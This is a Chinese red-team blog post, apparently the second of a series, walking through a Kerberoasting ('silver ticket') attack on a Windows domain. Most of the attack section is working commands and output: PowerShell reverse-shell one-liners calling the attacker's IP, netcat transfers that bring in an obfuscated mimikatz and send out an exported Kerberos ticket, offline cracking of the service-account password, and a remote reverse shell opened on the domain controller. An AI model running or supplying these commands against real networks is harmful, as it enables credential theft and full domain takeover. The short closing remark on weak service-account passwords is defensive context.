红队视角之白银票据(二)

admin 2023年9月13日10:10:48评论11 views字数 6396阅读21分19秒阅读模式

接上文

假设您已在此帐户下运行 xp_cmdshell:

os-shell> whoamido you want to retrieve the command standard output? [Y/n/a] y[21:52:27] [INFO] theQL query used returns 1 entries[21:52:27] [INFO] retrieved: dummydomain\andrewcommand standard output [1]:[*] dummydomainandrew         

哦!这个 MS-SQL 服务器在域帐户下运行,很好!

首先,让我们使用反向脚本转移到稳定的 powershell 终端(服务器可以通过端口 80 和 443 连接到互联网)

os-shell>powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<our_public_ip>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System. Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close ()"
那么我们的特权是什么呢?让我们来看看我们所属的组         
PS C:windowssystem32> net user andrew /domain---snip--Local Group MembershipsGlobal Group memberships *Domain UsersThe command completed successfully.PS C:Windowssystem32> net localgroup administratorsAlias name administratorsComment Administrators have complete and unrestricted access to the computer/domainMembers-------------------------------------------------------------------------------AdministratorDUMMYDOMAINDomain AdminsThe command completed successfully.PS C:Windowssystem32>cmd /c echo %COMPUTERNAME%SQLSRV1PS C:Windowssystem32>cmd /c echo %USERDOMAIN%DUMMYDOMAIN

嗯. .坏消息…我们是简单的域用户,我们的主要目标是升级特权,可能成为域管理员,不可能的任务?永远不要说永远,之前的文章中解释的所有技巧都不起作用,所以让我们尝试一些完全不同的东西。我们所拥有的只是一个有效的域用户会话,没有特权。是时候重新考虑我们的做法了。

介绍银票

首先有一点理论知识  

为了理解“银票”,你必须知道:

SPN 服务主体名称:服务主体名称 (SPN) 是服务实例的唯一标识符。Kerberos 身份验证使用 SPN将服务实例与服务登录帐户关联起来。” SPN 由服务名称、运行服务的主机和帐户来标识。

 当您请求访问由特定 SPN 标识的服务时,服务票证由 DC 上的 TGS(票证授予服务)颁发,并使用NTLM 哈希中的帐户密码进行加密。

有 2 种类型的帐户:具有随机密码的  计算机帐户(默认情况下每 30 天重新生成一次)和用户帐户。

如果具有 SPN 的服务在用户帐户下运行,则用户的密码 NTLM 哈希将用于创建服务票证

有很多与服务相关的 SPN。每个实例都以 service/host:的形式注册

某些软件(例如:MSSQL)的 SPN 在某些条件下会自动注册(它们必须在本地系统/网络服务下运行,或者运行该服务的用户必须具有足够的权限)

任何域用户都可以请求服务票证。

申请门票并不意味着您有权使用此服务

如果普通用户请求这些票据并将其导出,他能够破解密码吗?

是的!可以使用这些出色的工具离线破解密码:

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

通常,在域用户帐户下运行的服务是仅为这些任务创建的“特殊”用户。对于懒惰的管理员来说,选择不太“强”的密码并不罕见(这只是一个服务帐户..)

这就是银票!可以在这里找到一个很好的指南,即使有点过时,但有些技术总是有效的。

利用银票

好吧,理论已经够多了,让我们开始吧!

首先,我们必须确定这些服务可能的 SPN。如何?您只需使用关键字“SPN 枚举工具”等搜索即可下载多个工具,但我们希望使用内置实用程序并仅上传严格必要的工具!

我们的 Windows 工具是“ setspn.exe ”,这就是我们使用它的方式(我们可以列出服务名称中包含“svc”的所有 spn,以缩小搜索范围):

PS C:windowssystem32>setspn -F -Q *svc/*MSSQLSvc/SRVSQL2.dummydomain.local:1433

我们发现另一个 MS-SQL 服务的 SPN 在不同的服务器上使用不同的帐户运行:

PS C:windowssystem32>setspn -F -Q MSSQLSvc/SRVSQL2.dummydomain.local:1433         
CN=serviceuser,CN=Users,DC=dummycompany,DC=localMSSQLSvc/SRVSQL2.dummydomain.local:1433

         

谁是“服务用户”?

PS C:windowssystem32>net user serviceuser /domainLocal Group MembershipsGlobal Group memberships *Domain Users *Domain AdminsThe command completed successfully.

域管理员成员

所以我们已经识别了一个超过有效的 SPN,现在我们必须请求它,将其加载到内存中并将票保存到文件中以供离线破解,如果一切正常,我们将获得用户的密码。

我们怎样才能实现它呢?

使用 poweshell 中的“ System.IdentityModel ”程序集来请求和加载服务票证。该程序集与 MS-SQL 服务器一起安装

mimikatz用于导出和操作票证

因此我们必须上传(或直接调用)mimikatz,最好是 .ps1 混淆版本。我们可以使用  Net.WebClient.Downloadxx方法,但  请记住,我们还需要将保存的票证上传到我们的计算机上以进行密码破解。

在我们的机器上添加一个简单的上传/下载 .ps1 内联脚本和 netcat 怎么样?一个“穷人文件传输实用程序”,你明白了!

首先下载我们混淆后的 mimikatz.ps1 版本:

在我们的机器上:

cat mimikatz.ps1 | nc -lvp 80

在 SQLSRV1 PS 终端上:

PS C:Windowssystem32>$c=New-Object System.Net.Sockets.TCPClient('our_ip',80);$s= $c.GetStream();[byte[]]$b=0.. 65535|%{0};while(($i = $s.Read($b,0,$b.Length)) -ne 0){;$d=$d+(New-Object -TypeName System.Text. ASCIIEncoding).GetString($b,0, $i);}$client.Close();echo $d > m.ps1

酷吧?我们将输出重定向到 m.ps1 等等。我们已经上传了mimikatz!

现在我们将继续请求票证并将其加载到内存中:

PS C:tmp> Add-Type -AssemblyName System.IdentityModelPS C:tmp> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SRVSQL2.dummydomain.local:1433"Id : uuid-fddcfe2e-196b-4f31-bb5e-9de0d312f4e1-2 SecurityKeys : {Syst
em.IdentityModel.Tokens.InMemorySymmetricSecurityKe y} ValidFrom : 3/6/2017 6:21:08 AM ValidTo : 3/6/2017 12:43:54 PM ServicePrincipalName : MSSQLSvc/SRVSQL2.dummysomain.local:1433 SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

它起作用了,让我们检查一下

PS C:tmp>klist#2> Client: andrew @ DUMMYDOMAIN.LOCAL Server: MSSQLSvc/SRVSQL2.dummydomain.local @ DUMMYDOMAIN.LOCAL KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 3/5/2017 18:56:52 (local) End Time: 3/6/2017 4:43:54 (local) Renew Time: 3/12/2017 18:43:54 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0 Kdc Called: DC1.dummydomain.local         

太棒了!票据已载入内存。下一步是用mimikatz保存这张珍贵的票。

PS C:tmp>. .m.ps1PS C:tmp>Invoke-obfuscated -Command '"kerberos::list /export"'PS C:tmp>dir *.kirbi...-a--- 3/5/2017 7:15 PM 1440 2-40a10000-andrew@mssqlsvc~srvsql2 .dummydomain.local-dummmydomain.LO CAL.kirbi

         

这是我们的票,现在我们必须将其上传到我们的机器上。

我们将再次在我们的机器上使用 .ps1 内联脚本和 netcat:

#nc -lvp 80 > silver.krb

powershell

PS C:tmp>copy  2-40a10000-andrew@mssqlsvc~srvsql2.dummydomain.local-dummmydomain.LOCAL.kirbi sql.krbPS C:tmp>$c=New-Object System.Net.Sockets.TCPClient('',80);$s=[System.IO.File]::ReadAllBytes("c:TMPsql.krb")$st=$client.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close()
我们已经上传了我们的票,现在让我们试着破解密码。
#python ./tgsrepcrack.py ourwordlist.txt silver.krb

过了一会儿,爆出密码:

找到票证 0 的密码:Passw0rd 文件:silver.krb
所有票证均已破解!

好的!我们知道密码。最后一步是使用此帐户获取 shell。我们需要一种“runas”,可以通过我们的 PS 远程终端实现吗?

让我们尝试一些技巧。首先,我们将明文密码“转换”为安全字符串,然后将用户名/安全密码存储在凭证对象中:

PS C:tmp>$user = 'dummydomainserviceuser'PS C:tmp>$psw = 'Passw0rd'PS C:tmp>$secpsw= ConvertTo-SecureString $password -AsPlainText -ForcePS C:tmp>$credential = New-Object System.Management.Automation.PSCredential $user, $secpsw
然后调用下面命令
PS C:tmp>invoke-command -credential $credential -computername SRVDC1 -scriptblock {$client = New-Object System.Net.Sockets.TCPClient('',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}
我们在做什么?使用不同用户的凭据在指定的计算机(在本例中是域控制器!)上启动反向shell。祈求好运,我们应该在SRVDC1上获得一个具有域管理权限的shell (serviceuser)
PS C:UsersserviceuserDocuments> whoamimydomainbserviceuserPS C:UsersserviceuserDocuments> cmd /c echo %computername%SRVCDC1
为什么我们启动“调用命令”而不是“启动进程”?因为启动进程不起作用,因为我们正在 SessionID 0 中运行,专门为服务和其他非交互式用户应用程序保留。

从现在开始,后利用和横向移动应该开始,但这是另一个故事了……

那么,这个案例到底出了什么问题呢?一个严重的错误,使用属于 Domain Admin 组的用户运行 Sqlserver(不好的做法)将注册 SPN,弱密码将完成剩下的工作......

还有其他几种方法可以利用银票,这是最简单的一种。一个好的起点可能在这里:

参考:

 https://adsecurity.org/?p=2011

         

原文始发于微信公众号(红队笔记录):红队视角之白银票据(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月13日10:10:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队视角之白银票据(二)http://cn-sec.com/archives/2032584.html

发表评论

匿名网友 填写信息